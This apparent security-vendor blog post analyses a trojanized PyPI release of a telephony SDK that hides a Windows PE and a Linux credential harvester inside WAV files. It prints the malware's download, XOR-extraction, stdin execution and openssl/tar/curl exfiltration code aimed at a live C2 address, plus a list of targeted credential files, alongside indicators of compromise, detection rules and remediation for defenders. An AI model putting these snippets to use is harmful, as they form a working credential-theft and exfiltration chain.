Skip to main content
Blog

TeamPCP Telnyx Supply Chain Attack: Dissecting the hangup.wav Windows Payload

  • March 30, 2026
  • 0 replies
  • 23 views
Aaron Beardslee
Forum|alt.badge.img

Campaign: TeamPCP — Telnyx PyPI Supply Chain Compromise
Samples: hangup.wav (Windows steganographic carrier), linux_payload.py (decoded _p credential harvester)


What Happened...

On March 27, 2026, the threat actor group TeamPCP published two trojanized versions (4.87.1 and 4.87.2) of the official Telnyx Python SDK to PyPI. This was the latest link in a credential-chaining supply chain campaign that began on March 19 with the compromise of Aqua Security's Trivy, subsequently spreading to Checkmarx GitHub Actions, LiteLLM, and now Telnyx. The campaign's defining innovation is the use of WAV audio steganography to deliver second-stage payloads, concealing executable binaries inside valid audio containers to evade network inspection and endpoint detection.

This breakdown provides a deep technical analysis of both platform-specific attack paths in the Telnyx compromise. For Windows, we dissect hangup.wav, the steganographic carrier downloaded from the TeamPCP command-and-control infrastructure, extract the hidden PE executable, analyze its structure, identify embedded second-stage steganography using PNG images, and document the process injection technique targeting dllhost.exe. For Linux/macOS, we analyze the decoded _p payload extracted directly from the malicious wheel, documenting the fileless in-memory credential harvesting technique, the hybrid AES-256-CBC + RSA-4096 encryption pipeline, and the living-off-the-land exfiltration chain using system openssl, tar, and curl.


Campaign Context

TeamPCP's operational pattern follows a precise credential-chaining methodology. Each compromise harvests secrets that enable the next:

  1. March 19 — Trivy (CVE-2026-33634): Force-pushed malicious binaries to 75 of 77 trivy-action tags, harvesting CI/CD secrets including PyPI tokens from every pipeline running unpinned Trivy.
  2. March 23 — Checkmarx: Compromised kics-github-action and ast-github-action, along with two OpenVSX extensions using tokens stolen from Trivy victims.
  3. March 24 — LiteLLM (versions 1.82.7, 1.82.8): Published using credentials stolen from LiteLLM's CI/CD pipeline, which itself ran unpinned Trivy. LiteLLM serves ~95 million downloads per month.
  4. March 27 — Telnyx (versions 4.87.1, 4.87.2): Published using a stolen PYPI_TOKEN likely harvested during the LiteLLM compromise. Telnyx averages over 1 million downloads per month.

The Telnyx compromise introduced a new delivery mechanism not seen in the LiteLLM attack: WAV audio steganography. Rather than embedding the payload as base64 within the Python package itself, the malicious code downloads a .wav file from the C2 server at runtime. The payload is hidden inside the audio frame data of a valid WAV container.


Sample Identification

hangup.wav (Steganographic Carrier)

Property Value
Filename hangup.wav
File Type RIFF WAVE audio, Microsoft PCM, 16-bit, mono, 44100 Hz
File Size 271,756 bytes
SHA256 1bb736dadecc7072396c6affa0c0fe938d1a986d9573a36b74eb6632af21318a
MD5 19a1e6b00f1615183012c5a51db87028
C2 Source URL hxxp://83[.]142[.]209[.]203:8080/hangup.wav
Purpose Windows payload delivery (a companion file ringtone.wav delivers the Linux/macOS payload)

Extracted PE Payload (msbuild.exe)

Property Value
Type PE32+ executable (x86_64), Windows GUI
Size 203,776 bytes (199 KB)
SHA256 a0a8857e8a65c05778cf6068ad4c05ec9b6808990ae1427e932d2989754c59a4
MD5 ae22964bf1b4d4eabc15d44dd1d3b629
SHA1 8a7e83c1a0fd9917857a7f687cf029670b405c70
Compiler GCC (GNU) 13/14-win32 (MinGW-w64 cross-compilation)
Compile Timestamp 2026-03-27 04:38:48 UTC
Subsystem WINDOWS_GUI (no console window)
Persistence Path %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe

Steganography Extraction Technique

The WAV file passes all basic file-type validation — it has a legitimate RIFF/WAVE header, valid PCM format metadata (16-bit, 44100 Hz, mono), and will be accepted by any audio player or network inspection tool as an ordinary audio file. However, the audio frame data itself is not actual audio — it is a base64-encoded, XOR-encrypted PE executable.

 

hangup.wav sample showing header info

 

Extraction Process

The malicious _client.py code in telnyx 4.87.2 performs the following extraction:

1. Open hangup.wav using Python's wave module
2. Read all audio frames: w.readframes(w.getnframes())
→ Returns 271,712 bytes of "audio" data
3. Base64-decode the frame data
→ Produces 203,784 bytes
4. Split: first 8 bytes = XOR key, remaining bytes = encrypted payload
→ XOR key: ac 9d 62 de ea 7b dd b0
5. XOR-decrypt the payload byte-by-byte using the rotating 8-byte key
→ Produces 203,776 byte PE executable
6. Write to %APPDATA%\...\Startup\msbuild.exe
7. Launch with CREATE_NO_WINDOW (0x08000000) flag

This is not classical LSB steganography (hiding data in the least significant bits of real audio). TeamPCP packs the entire encrypted payload into the WAV container's data chunk as if it were audio samples. The approach is effective because network security tools that inspect HTTP traffic for known malicious patterns see a legitimate .wav file being downloaded — the payload only materializes after the base64 decode and XOR decryption steps occur on the endpoint.

 

 

PE Payload Analysis

Section Layout

Section Virtual Addr Virtual Size Raw Size Entropy Permissions
.text 0x00001000 0x00009380 0x00009400 6.21 CODE, EXEC, READ
.data 0x0000B000 0x00025500 0x00025600 6.73 INIT_DATA, READ, WRITE
.rdata 0x00031000 0x00001358 0x00001400 4.52 INIT_DATA, READ
.pdata 0x00033000 0x00000684 0x00000800 3.94 INIT_DATA, READ
.xdata 0x00034000 0x00000558 0x00000600 3.91 INIT_DATA, READ
.bss 0x00035000 0x00000290 0x00000000 UNINIT_DATA, READ, WRITE
.idata 0x00036000 0x000007B8 0x00000800 4.05 INIT_DATA, READ
.tls 0x00037000 0x00000010 0x00000200 INIT_DATA, READ, WRITE
.reloc 0x00038000 0x0000007C 0x00000200 1.57 INIT_DATA, READ

The .data section at 153 KB is disproportionately large relative to the 37 KB .text section, containing 98.1% non-null bytes at entropy 6.73. This section contains embedded PNG images used for a second stage of steganography.

Import Table

The binary imports from only two DLLs, keeping a minimal footprint:

KERNEL32.dll: CloseHandle, CreateFileA, CreateFileMappingA, CreateProcessW, GetModuleHandleA, GetStartupInfoA, GetSystemDirectoryA, MapViewOfFile, SetUnhandledExceptionFilter, Sleep, TlsAlloc, TlsGetValue, TlsSetValue, VirtualProtect, VirtualQuery, lstrcatA, lstrcmpA

msvcrt.dll: Standard C runtime functions (malloc, free, memcpy, memset, strlen, fprintf, fwrite, etc.)

Notable observations:

  • CreateProcessW — Used to spawn the target process for injection
  • CreateFileMappingA / MapViewOfFile — Memory-mapped file operations consistent with process hollowing
  • VirtualProtect / VirtualQuery — Memory permission manipulation
  • No networking DLLs imported (no ws2_32.dll, winhttp.dll, or wininet.dll) — networking is likely handled by the injected process or resolved dynamically at runtime

Process Injection Target

A UTF-16LE string embedded in the binary reveals the injection target:

C:\Windows\System32\dllhost.exe

dllhost.exe is the Windows COM Surrogate process — a legitimate system binary that frequently runs in normal Windows operations. Injecting into this process provides the attacker with several advantages: the process is trusted by security tools, it routinely makes network connections (making C2 traffic blend with normal activity), and multiple instances can run simultaneously without raising suspicion.

The combination of CreateProcessW (to spawn dllhost.exe, likely in a suspended state), VirtualProtect/VirtualQuery (to modify memory protections), and MapViewOfFile (for mapping shellcode into the target) strongly indicates a process hollowing or process injection technique. Modern EDR solutions are extremely sensitive to this behavior, however, and would likely be caught and terminated.

Embedded PNG Steganography (Second Stage)

The .data section contains two embedded PNG images, representing a second layer of steganographic data hiding:

PNG #1 (offset 0x9920 in extracted PE):

  • Dimensions: 195 × 195 pixels, 8-bit RGBA
  • Size: ~148.8 KB
  • Alpha channel: All 0xFF (fully opaque, unused)
  • RGB channel entropy: 7.94 bits/byte (near theoretical maximum of 8.0)
  • Visual appearance: Random noise — no discernible image content

The near-maximum entropy across all three RGB channels confirms this is not an actual image but rather encrypted or compressed data packed into the pixel values. The binary includes a compiled copy of stb_image.h (Sean Barrett's single-header image loading library), which it uses to decode the PNG and extract the raw pixel data at runtime. The extracted RGB bytes likely contain the final-stage shellcode or configuration data that gets injected into the hollowed dllhost.exe process.

PNG #2 (offset 0x2F228): Partial/truncated — appears to be either a secondary payload or a decoy.


Windows Attack Chain (Complete)

┌─────────────────────────────────────────────────────────────────┐
│ 1. Developer runs: pip install telnyx (gets version 4.87.2) │
│ └─ OR: import telnyx in existing application │
├─────────────────────────────────────────────────────────────────┤
│ 2. Module import triggers setup() at module scope │
│ └─ Checks os.name == 'nt' (Windows only) │
├─────────────────────────────────────────────────────────────────┤
│ 3. Downloads hangup.wav from 83.142.209.203:8080 │
│ └─ User-Agent: Mozilla/5.0 │
│ └─ 12-hour lockout via hidden .lock file (attrib +h) │
├─────────────────────────────────────────────────────────────────┤
│ 4. WAV steganography extraction │
│ └─ wave.readframes() → base64 decode → XOR decrypt │
│ └─ XOR key: ac9d62deea7bddb0 │
├─────────────────────────────────────────────────────────────────┤
│ 5. Writes PE to Startup folder as msbuild.exe │
│ └─ %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ │
│ └─ Mimics legitimate Microsoft Build Engine │
├─────────────────────────────────────────────────────────────────┤
│ 6. Launches with CREATE_NO_WINDOW (0x08000000) │
│ └─ No visible console window │
├─────────────────────────────────────────────────────────────────┤
│ 7. PE loads embedded PNG, extracts encrypted data from pixels │
│ └─ stb_image.h decodes 195x195 RGBA PNG │
│ └─ RGB pixel data = encrypted shellcode/config │
├─────────────────────────────────────────────────────────────────┤
│ 8. Process hollowing into dllhost.exe │
│ └─ CreateProcessW → VirtualProtect → MapViewOfFile │
│ └─ Injected code handles C2, credential theft, exfiltration │
├─────────────────────────────────────────────────────────────────┤
│ 9. Persistence: msbuild.exe in Startup folder │
│ └─ Executes on every user login │
│ └─ Repeats injection cycle │
└─────────────────────────────────────────────────────────────────┘

Linux/macOS Attack Path: Deep Analysis of the Decoded _p Payload

While hangup.wav targets Windows via the setup() function, the same malicious _client.py simultaneously executes FetchAudio() on non-Windows systems. The FetchAudio() function spawns a detached Python subprocess (start_new_session=True) that decodes and executes a 4,436-character base64 payload stored in the _p variable. We extracted this payload directly from the malicious telnyx-4.87.2.whl wheel for analysis.

 

Decoded _p Payload

 

 

Payload Overview

The decoded _p variable produces linux_payload.py — an 83-line self-contained credential harvester and encrypted exfiltration tool. The script is structured as a single function audioimport() that is called immediately at module scope. It performs three distinct operational stages: steganographic payload retrieval, in-memory credential harvesting, and hybrid-encrypted exfiltration.

┌─────────────────────────────────────────────────────────────────┐
│ FetchAudio() in _client.py │
│ └─ Spawns detached: python3 -c "exec(base64.b64decode(_p))" │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 1: Steganographic Payload Retrieval │
│ ├─ Downloads ringtone.wav from 83.142.209.203:8080 │
│ ├─ WAV frame extraction → base64 decode → XOR decrypt │
│ └─ Identical stego scheme to hangup.wav (Windows path) │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 2: In-Memory Credential Harvesting │
│ ├─ Decrypted payload piped to python3 via stdin │
│ ├─ Harvester script NEVER touches disk as a file │
│ ├─ stdout captured to temp file ("collected") │
│ └─ Targets: SSH keys, cloud creds, .env, shell history, │
│ crypto wallets, k8s tokens, Docker/npm/Git configs │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 3: Hybrid Encryption + Exfiltration │
│ ├─ openssl rand → 256-bit AES session key │
│ ├─ openssl enc -aes-256-cbc -pbkdf2 → encrypt collected data │
│ ├─ openssl pkeyutl RSA-4096 OAEP → wrap session key │
│ ├─ tar -czf tpcp.tar.gz payload.enc session.key.enc │
│ └─ curl POST to C2 with X-Filename: tpcp.tar.gz │
├─────────────────────────────────────────────────────────────────┤
│ CLEANUP: TemporaryDirectory self-destructs on exit │
│ └─ All temp files, keys, and archives automatically removed │
└─────────────────────────────────────────────────────────────────┘

Stage 1: WAV Steganography Delivery (ringtone.wav)

The script begins with a platform gate — if os.name == 'nt': return — ensuring it only runs on Linux and macOS. It then attempts to download ringtone.wav from the same C2 server used for the Windows path:

WAV_URL = "http://83.142.209.203:8080/ringtone.wav"

req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=15) as r:
with open(wf, "wb") as f:
f.write(r.read())

The User-Agent header Mozilla/5.0 matches the Windows path exactly and serves as a rudimentary server-side gate — bare wget or curl requests without this header are likely rejected by the C2. The 15-second timeout ensures the script doesn't hang indefinitely if the C2 is unreachable.

The steganographic extraction is identical to the hangup.wav technique:

with wave.open(wf, 'rb') as w:
raw = base64.b64decode(w.readframes(w.getnframes()))
s, data = raw[:8], raw[8:]
payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

The WAV frame data is base64-decoded, the first 8 bytes are extracted as the XOR key, and the remaining bytes are decrypted with a rotating XOR. The resulting payload is the actual credential harvesting script for the target platform.

Stage 2: Fileless In-Memory Credential Harvesting

This is the most operationally significant stage. The decrypted harvester script is never written to disk as a file. Instead, it is piped directly into a Python interpreter via stdin:

with open(collected, "wb") as f:
subprocess.run(
[sys.executable, "-"], # python3 reading from stdin
input=payload, # decrypted script fed as bytes
stdout=f, # harvested credentials → temp file
stderr=subprocess.DEVNULL,
check=True
)

The [sys.executable, "-"] invocation tells Python to read its script from standard input rather than a file. This means the harvester exists only in the Python interpreter's memory during execution — no .py file is written to the filesystem, making it invisible to file-based scanning and significantly complicating forensic recovery. The harvested credential data is written to stdout, which is redirected to a temporary file (collected) within a TemporaryDirectory.

Based on reporting from Endor Labs and SafeDep, the in-memory harvester (which we cannot recover without ringtone.wav) targets the following credential categories:

  • SSH keys and configurations (~/.ssh/id_rsa, ~/.ssh/config, known_hosts)
  • Cloud provider credentials (AWS ~/.aws/credentials, GCP application_default_credentials.json, Azure ~/.azure/)
  • Developer tool credentials (Docker ~/.docker/config.json, npm .npmrc, Git .gitconfig and credential helpers, HashiCorp Vault tokens)
  • Database credentials (.pgpass, .my.cnf, MongoDB connection strings)
  • Environment configuration files (.env, .env.local, .env.production — to extract embedded API keys and tokens)
  • Shell and database histories (~/.bash_history, ~/.zsh_history, ~/.mysql_history, ~/.psql_history)
  • Cryptocurrency wallet data (browser extension wallets, local wallet files)
  • Kubernetes cluster credentials — if a service account token exists, the harvester reportedly deploys privileged pods to every node in kube-system, each mounting the host root filesystem at /host with hostPID, hostNetwork, and privileged: True, then chroots into the host to install the persistence implant directly on the node

Stage 3: Hybrid Encryption and Exfiltration

After collection, the script implements a proper hybrid encryption pipeline using system openssl and curl — tools that are already present on virtually every Linux/macOS system, requiring no additional dependencies:

Step 1 — Generate AES session key:

openssl rand -out session.key 32

Creates a cryptographically random 256-bit (32-byte) AES key.

Step 2 — Encrypt collected credentials:

openssl enc -aes-256-cbc -in collected -out payload.enc \
-pass file:session.key -pbkdf2

Encrypts the harvested data with AES-256-CBC using PBKDF2 key derivation. Even if the exfiltration traffic is intercepted, the credential data cannot be read without the session key.

Step 3 — Wrap session key with RSA-4096:

openssl pkeyutl -encrypt -pubin -inkey pub.pem \
-in session.key -out session.key.enc \
-pkeyopt rsa_padding_mode:oaep

Encrypts the AES session key with TeamPCP's hardcoded RSA-4096 public key using OAEP padding. Only the holder of the corresponding private key can recover the session key. This is the same RSA key (beginning MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A...) found byte-for-byte in the LiteLLM compromise, providing high-confidence attribution to TeamPCP.

Step 4 — Bundle and exfiltrate:

tar -czf tpcp.tar.gz -C tmpdir payload.enc session.key.enc

curl -s -o /dev/null -w "%{http_code}" -X POST \
http://83.142.209.203:8080/ \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @tpcp.tar.gz

The encrypted payload and wrapped session key are bundled into a gzipped tarball and exfiltrated via HTTP POST. The X-Filename: tpcp.tar.gz header is a consistent TeamPCP operational signature observed across both the LiteLLM and Telnyx campaigns. The -s -o /dev/null flags suppress all output, and %{http_code} is used as a silent health check — the attacker gets confirmation of delivery without producing any visible output.

Anti-Forensics and Operational Security

The payload demonstrates disciplined operational tradecraft across several dimensions:

Fileless execution: The credential harvester is piped into Python via stdin and never exists as a file on disk. This defeats file-based AV scanning, leaves no script artifact for forensic recovery, and prevents hash-based detection.

Self-destructing workspace: All temporary files (collected credentials, encryption keys, WAV file, encrypted bundles) are created inside a Python TemporaryDirectory context manager. When the function exits — whether through success, failure, or exception — the entire directory and its contents are automatically deleted by the OS.

Silent error handling: Every stage is wrapped in try/except blocks that either return or pass silently. The script never raises an exception, never prints an error message, and never produces a traceback. If the C2 is down, if openssl isn't available, if credential files don't exist — the script simply exits cleanly with no trace.

Living off the land: The entire exfiltration pipeline uses only openssl, tar, and curl — standard system utilities that are expected to be present and running on production Linux/macOS systems. No malicious binaries are downloaded for this path (unlike the Windows path which drops a PE). Security tools that alert on unusual binary execution will not flag these commands individually.

Detached execution: The parent FetchAudio() function launches the payload with start_new_session=True, detaching the child process from the importing Python process. If the developer's application exits or is killed, the credential harvester continues running independently.

Platform Comparison: Windows vs. Linux/macOS

Aspect Windows (hangup.wav) Linux/macOS (ringtone.wav + _p)
Delivery WAV steganography → PE binary on disk WAV steganography → Python script via stdin
Persistence Startup folder (msbuild.exe) None observed (one-shot harvester)
Execution Native PE with process injection into dllhost.exe Fileless Python piped to interpreter
Credential Theft Delegated to injected process Direct harvesting via in-memory script
Encryption Unknown (handled by injected code) AES-256-CBC + RSA-4096 OAEP via system openssl
Exfiltration Unknown (handled by injected code) HTTP POST via system curl with tpcp.tar.gz signature
Forensic Footprint PE on disk + Startup persistence Near-zero — temp directory self-destructs
Tool Dependencies None (self-contained PE) openssl, tar, curl (system utilities)

The Linux/macOS path prioritizes stealth and forensic resistance over persistence. The Windows path prioritizes persistence and deep system access via process injection. Both paths converge on the same C2 infrastructure and use the same WAV steganography delivery mechanism, but diverge significantly in their post-delivery tradecraft — reflecting an understanding of the different defensive tooling and analyst workflows on each platform.


Indicators of Compromise

Network IOCs

Indicator Type Context
83[.]142[.]209[.]203 IP Address C2 server
hxxp://83[.]142[.]209[.]203:8080/hangup.wav URL Windows payload delivery
hxxp://83[.]142[.]209[.]203:8080/ringtone.wav URL Linux/macOS payload delivery
hxxp://83[.]142[.]209[.]203:8080/ URL Exfiltration endpoint (HTTP POST)
X-Filename: tpcp.tar.gz HTTP Header Exfiltration signature (consistent across LiteLLM and Telnyx campaigns)
Content-Type: application/octet-stream HTTP Header Exfiltration content type
User-Agent: Mozilla/5.0 HTTP Header C2 download request signature (minimal UA)

File IOCs

Indicator Type Context
1bb736dadecc7072396c6affa0c0fe938d1a986d9573a36b74eb6632af21318a SHA256 hangup.wav
a0a8857e8a65c05778cf6068ad4c05ec9b6808990ae1427e932d2989754c59a4 SHA256 Extracted PE payload
ae22964bf1b4d4eabc15d44dd1d3b629 MD5 Extracted PE payload
7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9 SHA256 telnyx-4.87.1.whl
cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3 SHA256 telnyx-4.87.2.whl

Host IOCs — Windows

Indicator Type Context
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe File Path Persistence (Windows)
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock File Path 12-hour lockout file (hidden)
dllhost.exe spawned by msbuild.exe Process Relationship Process injection

Host IOCs — Linux/macOS

Indicator Type Context
python3 -c "import base64; exec(base64.b64decode('...'))" Process Command Line Initial payload decoder spawned by _client.py
python3 - (reading from stdin) Process Command Line Fileless harvester execution — Python reading script from stdin pipe
openssl rand -out <tmpdir>/session.key 32 Process Command Line AES session key generation
openssl enc -aes-256-cbc ... -pbkdf2 Process Command Line Credential data encryption
openssl pkeyutl -encrypt -pubin ... -pkeyopt rsa_padding_mode:oaep Process Command Line RSA key wrapping
curl -X POST http://83.142.209.203:8080/ -H "X-Filename: tpcp.tar.gz" Process Command Line Exfiltration
tar -czf <tmpdir>/tpcp.tar.gz ... payload.enc session.key.enc Process Command Line Exfiltration archive creation
Sequential openssl randopenssl encopenssl pkeyutltarcurl POST Process Chain Full exfiltration pipeline signature

Cryptographic IOCs

Indicator Type Context
RSA-4096 public key beginning MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A... Public Key Shared across LiteLLM and Telnyx — TeamPCP attribution anchor
RSA-4096 public key beginning vahaZDo8mucujrT15ry+08qNLwm3kxzF... (decoded modulus) Key Material Same key — alternative identification via modulus bytes

PyPI Package IOCs

Indicator Type Context
telnyx==4.87.1 Package Version Malicious (bug prevents execution)
telnyx==4.87.2 Package Version Malicious (functional)
Uploaded via twine/6.2.0 CPython/3.14.3 Upload Fingerprint Attacker tool (legitimate CI uses rye publish)

MITRE ATT&CK Mapping

Tactic Technique ID Platform Description
Initial Access Supply Chain Compromise: Compromise Software Dependencies T1195.002 All Trojanized telnyx PyPI package via stolen publishing credentials
Execution Command and Scripting Interpreter: Python T1059.006 All Malicious code executes on import telnyx
Execution Command and Scripting Interpreter: Unix Shell T1059.004 Linux/macOS Harvester piped to Python stdin; openssl, tar, curl executed via subprocess
Persistence Boot or Logon Autostart Execution: Startup Folder T1547.001 Windows msbuild.exe dropped in Windows Startup folder
Defense Evasion Obfuscated Files or Information: Steganography T1027.003 All PE hidden in WAV audio; shellcode hidden in PNG pixels
Defense Evasion Obfuscated Files or Information: Fileless Storage T1027.011 Linux/macOS Harvester script piped to Python stdin, never written to disk
Defense Evasion Masquerading: Match Legitimate Name T1036.005 Windows Payload named msbuild.exe mimicking Microsoft Build Engine
Defense Evasion Process Injection: Process Hollowing T1055.012 Windows Injection into dllhost.exe (COM Surrogate)
Defense Evasion Hide Artifacts: Hidden Files T1564.001 Windows Lock file hidden via attrib +h
Defense Evasion Indicator Removal: File Deletion T1070.004 Linux/macOS TemporaryDirectory auto-deletes all artifacts on exit
Credential Access Unsecured Credentials: Credentials in Files T1552.001 Linux/macOS Harvests SSH keys, .env files, shell histories, cloud creds
Credential Access Unsecured Credentials: Cloud Instance Metadata T1552.005 Linux/macOS AWS, GCP, Azure credential files targeted
Collection Data from Local System T1005 All Collects credentials, tokens, wallet data
Exfiltration Exfiltration Over C2 Channel T1041 Linux/macOS AES-256-CBC + RSA-4096 encrypted exfiltration via HTTP POST
Exfiltration Archive Collected Data: Archive via Utility T1560.001 Linux/macOS tar -czf tpcp.tar.gz bundles encrypted payload and wrapped key
Command and Control Application Layer Protocol: Web Protocols T1071.001 All HTTP-based C2 communication
Command and Control Encrypted Channel: Asymmetric Cryptography T1573.002 Linux/macOS RSA-4096 OAEP wrapping of AES session key

Detection Recommendations

Network Detection

  • Block outbound connections to 83[.]142[.]209[.]203 on all ports
  • Alert on HTTP responses with Content-Type: audio/wav or audio/x-wav from non-media domains, particularly when the response body exceeds 100 KB
  • Monitor for HTTP POST requests containing the header X-Filename: tpcp.tar.gz
  • Flag any outbound connections from Python processes (python.exe, python3) to raw IP addresses on non-standard ports
  • Alert on HTTP POST requests to raw IP addresses with Content-Type: application/octet-stream from curl processes where the parent chain traces back to Python

Endpoint Detection — Windows

  • Monitor for msbuild.exe running from the user's Startup folder rather than C:\Windows\Microsoft.NET\
  • Alert on dllhost.exe spawned as a child of an unusual parent process (particularly any process in the Startup folder)
  • Detect the wave module being imported in Python processes that are not audio-related applications
  • Monitor for attrib +h commands targeting files in the Startup folder
  • Watch for CreateProcessW calls targeting C:\Windows\System32\dllhost.exe from non-system parent processes

Endpoint Detection — Linux/macOS

  • Alert on python3 - (Python reading from stdin) where the parent process is also Python — this pattern is rare in legitimate applications and is the primary execution mechanism for the fileless harvester
  • Monitor for the sequential process chain: openssl randopenssl enc -aes-256-cbcopenssl pkeyutl -encrypt executed within seconds of each other from the same parent — this is the exact encryption pipeline signature
  • Detect curl -X POST with --data-binary targeting raw IP addresses where the parent process chain includes Python
  • Alert on tar -czf creating archives named tpcp.tar.gz or containing files named payload.enc and session.key.enc
  • Monitor for Python processes downloading .wav files via urllib to temporary directories — WAV downloads from Python processes that are not audio applications are anomalous
  • On systems with Sysmon for Linux: EVID 1 (process creation) tracking openssl pkeyutl with -pkeyopt rsa_padding_mode:oaep is a high-fidelity signal — this specific argument combination is uncommon outside of deliberate hybrid encryption operations

Supply Chain Detection

  • Pin all Python dependency versions explicitly and use hash verification
  • Audit CI/CD pipelines for unpinned security scanning tools (Trivy, KICS, etc.)
  • Enable PyPI Trusted Publishers (OIDC) to bind uploads to specific GitHub repositories
  • Monitor for twine uploads that don't correspond to GitHub Actions workflow runs
  • Implement pip install --require-hashes in production pipelines

Remediation

If your environment installed telnyx==4.87.1 or telnyx==4.87.2 between 03:51 UTC and 10:13 UTC on March 27, 2026:

  1. Treat the environment as fully compromised — rotate all API keys, database credentials, SSH keys, cloud provider tokens, and any other secrets accessible from the affected machine or CI/CD pipeline
  2. Downgrade immediately: pip install telnyx==4.87.0
  3. Windows: Check for and delete msbuild.exe and msbuild.exe.lock in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
  4. Windows: Hunt for dllhost.exe instances with suspicious parent processes or network connections
  5. Linux/macOS: The fileless harvester leaves minimal forensic artifacts — focus on network logs for outbound HTTP POST traffic to 83[.]142[.]209[.]203:8080 with X-Filename: tpcp.tar.gz header. Check shell history for openssl pkeyutl commands with rsa_padding_mode:oaep. Assume credential exfiltration succeeded if the import occurred
  6. Kubernetes environments: If the affected system had Kubernetes access, audit all pods in kube-system for unauthorized privileged containers with hostPID, hostNetwork, and host filesystem mounts — the harvester reportedly deploys persistence implants directly onto nodes
  7. Audit CI/CD pipelines — determine whether any build pipelines running the affected Telnyx versions also had access to credentials for other packages or platforms. TeamPCP's documented behavior is to use each compromise to enable the next
  8. Network monitoring — block and alert on all traffic to 83[.]142[.]209[.]203

C2 Infrastructure Status: Exfiltration Channel Remains Active (March 30, 2026)

Independent validation on March 30, 2026 — three days after public disclosure — confirms that the TeamPCP C2 infrastructure at 83[.]142[.]209[.]203:8080 is operating in an asymmetric mode: payload delivery is disabled while the credential exfiltration endpoint remains active.

Payload Delivery (Disabled)

GET requests for the steganographic carriers produce immediate connection resets:

$ wget --header="User-Agent: Mozilla/5.0" http://83.142.209.203:8080/ringtone.wav
Connecting to 83.142.209.203:8080... connected.
HTTP request sent, awaiting response... Read error (Connection reset by peer)

The TCP handshake succeeds — a service is actively listening — but the connection is reset immediately after the HTTP request headers are sent. The server is not dead; it is selectively refusing to serve the payload endpoints. This is consistent with an operator who is aware of public disclosure and has intentionally disabled the infection chain.

Credential Exfiltration (Active)

POST requests mimicking the malware's exfiltration pattern exhibit fundamentally different behavior:

$ curl -v -X POST http://83.142.209.203:8080/ \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary "Phoenix Victim"

> POST / HTTP/1.1
> Content-Type: application/octet-stream
> X-Filename: tpcp.tar.gz
> Content-Length: 14
>
* upload completely sent off: 14 out of 14 bytes
* Recv failure: Connection reset by peer

The critical distinction: the server accepted and read the complete POST body before resetting the connection. A server rejecting the request would RST during the upload or refuse the connection outright. Instead, all 14 bytes were transmitted and acknowledged at the TCP level before the connection was torn down. The server also does not validate that the POST body is a structurally valid gzipped tar archive — it ingested an arbitrary plaintext string without discrimination.

This is consistent with a fire-and-forget collection model. The malware's curl command uses -s -o /dev/null (suppress all output) and wraps the call in except: pass (silently ignore any error), so it never checks the HTTP response. The server doesn't need to return a 200 OK — it just needs to read the bytes off the wire. The connection reset after full ingestion serves this purpose while leaving minimal server-side response artifacts.

Operational Implications

This asymmetric behavior means every compromised environment that has not completed remediation is still actively bleeding credentials to TeamPCP. The attack chain for new infections is broken (no WAV files served), but the exfiltration pipeline from existing victims continues to function. Given that the Telnyx package averages over 1 million downloads per month, the window between initial compromise (March 27 03:51 UTC), public disclosure, and complete remediation across all affected environments represents an extended collection opportunity that the operator is clearly exploiting.

Organizations should prioritize egress blocking of 83[.]142[.]209[.]203 on all ports immediately — this is not a historical IOC but an active exfiltration endpoint as of the publication date of this report.

 


Conclusion

The TeamPCP campaign represents a significant evolution in software supply chain attacks. The group's credential-chaining methodology directly enables the next compromise creating an expanded blast radius that is difficult to contain once the chain begins. The introduction of WAV steganography as a delivery mechanism adds a layer of evasion that bypasses network inspection tools trained to flag traditional executable downloads.

Analysis of both attack paths reveals a threat actor that tailors its tradecraft to each target platform. The Windows path via hangup.wav employs layered steganography — a PE executable hidden inside a WAV audio file, with additional shellcode/configuration hidden inside PNG images embedded within the PE itself — combined with process injection into the trusted dllhost.exe COM Surrogate for persistent, deep system access. The Linux/macOS path via the decoded _p payload takes an entirely different approach: fileless in-memory execution where the credential harvester never touches disk, living-off-the-land exfiltration through system openssl, tar, and curl, and automatic artifact cleanup via TemporaryDirectory. The Linux path prioritizes forensic resistance over persistence, reflecting an understanding that Linux analyst workflows differ from Windows and that server-side compromises (CI/CD pipelines, developer workstations) are the primary target.

The hybrid encryption pipeline — AES-256-CBC session keys wrapped with a hardcoded RSA-4096 public key — ensures that even intercepted exfiltration traffic cannot be decrypted without TeamPCP's private key. This same RSA key links the Telnyx and LiteLLM compromises definitively, and the tpcp.tar.gz exfiltration signature provides a reliable detection anchor across the campaign.

Organizations should assume that any environment that imported the malicious Telnyx versions is fully compromised and act accordingly. The FBI has assessed that a surge in breach disclosures, follow-on intrusions, and extortion attempts is expected in the coming weeks as TeamPCP processes the credentials harvested from this campaign.


References